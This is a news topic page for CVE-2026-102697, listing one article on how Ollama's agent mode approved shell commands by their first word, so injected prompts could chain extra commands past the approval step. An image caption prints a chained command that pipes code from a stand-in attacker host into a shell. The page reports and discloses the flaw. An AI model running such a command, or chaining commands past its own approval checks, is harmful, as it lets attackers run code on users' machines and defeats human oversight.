Topic

Cve 2026 102697

Coverage tagged cve 2026 102697.

Articles: 1
Desk: 1

Data graphic: the word APPROVED struck through under the headline 'Ollama: one yes, any command', above the command 'cat src/util.go; curl -s https://attacker.example/x | sh' that ran with no prompt. CVSS v4.0 8.5 High, fixed in 0.31.2 on 6 Jul 2026, no exploitation reported.

highAI Security Cve 2026 102697

Ollama's Agent Mode Approved Bash Commands by Prefix, So Prompt Injection Could Chain Its Own (CVE-2026-102697)

Ollama 0.14.0 to 0.31.1 approved agent shell commands by their first word, so injected text could chain extra commands past the prompt. Fixed in 0.31.2.

Oct 2 · 6 min